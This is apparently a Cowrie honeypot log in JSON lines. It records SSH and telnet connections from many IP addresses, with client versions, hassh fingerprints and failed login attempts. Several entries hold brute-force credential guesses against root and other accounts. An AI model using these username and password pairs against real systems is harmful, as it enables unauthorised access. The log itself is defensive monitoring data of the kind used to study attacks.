{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:40.296002Z","src_ip":"103.77.242.62","session":"1cade5995f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25091982","message":"login attempt [root/25091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:41.014060Z","src_ip":"103.77.242.62","session":"1cade5995f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":42888,"dst_ip":"159.203.135.109","dst_port":22,"session":"590cfcc7a3ff","protocol":"ssh","message":"New connection: 162.144.213.198:42888 (159.203.135.109:22) [session: 590cfcc7a3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:41.965731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:41.969441Z","src_ip":"162.144.213.198","session":"590cfcc7a3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:42.057785Z","src_ip":"162.144.213.198","session":"590cfcc7a3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:42.255312Z","src_ip":"103.77.242.62","session":"1cade5995f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doge789","message":"login attempt [root/doge789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:42.325279Z","src_ip":"162.144.213.198","session":"590cfcc7a3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":57342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ee85e65496a","protocol":"ssh","message":"New connection: 162.254.35.142:57342 (159.203.135.109:22) [session: 8ee85e65496a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:43.920585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:43.928903Z","src_ip":"162.254.35.142","session":"8ee85e65496a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:43.995644Z","src_ip":"162.254.35.142","session":"8ee85e65496a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1!M@st3r","message":"login attempt [root/G3m1n1!M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:44.194615Z","src_ip":"162.254.35.142","session":"8ee85e65496a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:44.290269Z","src_ip":"162.144.213.198","session":"590cfcc7a3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:45.262913Z","src_ip":"162.254.35.142","session":"8ee85e65496a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":36850,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd524af462c6","protocol":"ssh","message":"New connection: 162.240.35.200:36850 (10.17.0.5:22) [session: dd524af462c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:49.016643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:49.021610Z","src_ip":"162.240.35.200","session":"dd524af462c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:49.110588Z","src_ip":"162.240.35.200","session":"dd524af462c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome$%","message":"login attempt [root/welcome$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:49.376773Z","src_ip":"162.240.35.200","session":"dd524af462c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:53:50.468401Z","src_ip":"162.240.35.200","session":"dd524af462c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":36882,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5a11428e4be","protocol":"ssh","message":"New connection: 181.218.9.86:36882 (159.203.135.109:22) [session: e5a11428e4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:04.069564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:04.074772Z","src_ip":"181.218.9.86","session":"e5a11428e4be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:06.237571Z","src_ip":"181.218.9.86","session":"e5a11428e4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.396194458007812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:07.038272Z","src_ip":"170.64.224.25","session":"ebd418efbf2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:09.887862Z","src_ip":"181.218.9.86","session":"e5a11428e4be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:13.292564Z","src_ip":"101.126.22.12","session":"a36e817da281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":46318,"dst_ip":"10.17.0.5","dst_port":22,"session":"a613279e180e","protocol":"ssh","message":"New connection: 162.241.132.172:46318 (10.17.0.5:22) [session: a613279e180e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:18.550879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:18.554908Z","src_ip":"162.241.132.172","session":"a613279e180e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:18.580968Z","src_ip":"162.241.132.172","session":"a613279e180e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yield2024","message":"login attempt [root/yield2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:18.658379Z","src_ip":"162.241.132.172","session":"a613279e180e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:19.686285Z","src_ip":"162.241.132.172","session":"a613279e180e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fed45e8005e","protocol":"telnet","message":"New connection: 170.64.224.25:53088 (159.203.135.109:23) [session: 4fed45e8005e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:47.302078Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43848,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88ef64877b4","protocol":"telnet","message":"New connection: 170.64.224.25:43848 (159.203.135.109:23) [session: d88ef64877b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:54:57.791254Z"}
{"eventid":"cowrie.session.closed","duration":16.709282398223877,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:04.011249Z","src_ip":"170.64.224.25","session":"4fed45e8005e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":41864,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21f3a70f125","protocol":"ssh","message":"New connection: 95.130.227.33:41864 (10.17.0.5:22) [session: f21f3a70f125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:40.216391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:40.220617Z","src_ip":"95.130.227.33","session":"f21f3a70f125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:40.385372Z","src_ip":"95.130.227.33","session":"f21f3a70f125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@1234qwer","message":"login attempt [root/@1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:41.078653Z","src_ip":"95.130.227.33","session":"f21f3a70f125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:42.246547Z","src_ip":"95.130.227.33","session":"f21f3a70f125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":39664,"dst_ip":"159.203.135.109","dst_port":22,"session":"997cffcf4d06","protocol":"ssh","message":"New connection: 191.7.26.153:39664 (159.203.135.109:22) [session: 997cffcf4d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:48.277550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:48.281349Z","src_ip":"191.7.26.153","session":"997cffcf4d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:48.399138Z","src_ip":"191.7.26.153","session":"997cffcf4d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uk","password":"uk123","message":"login attempt [uk/uk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:48.900505Z","src_ip":"191.7.26.153","session":"997cffcf4d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.31825113296509,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:49.109387Z","src_ip":"170.64.224.25","session":"d88ef64877b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:55:50.023374Z","src_ip":"191.7.26.153","session":"997cffcf4d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e0b6695a33b","protocol":"telnet","message":"New connection: 170.64.224.25:58956 (159.203.135.109:23) [session: 3e0b6695a33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:01.870110Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":44592,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e6567d5f77","protocol":"ssh","message":"New connection: 181.218.9.86:44592 (159.203.135.109:22) [session: 47e6567d5f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:19.622324Z"}
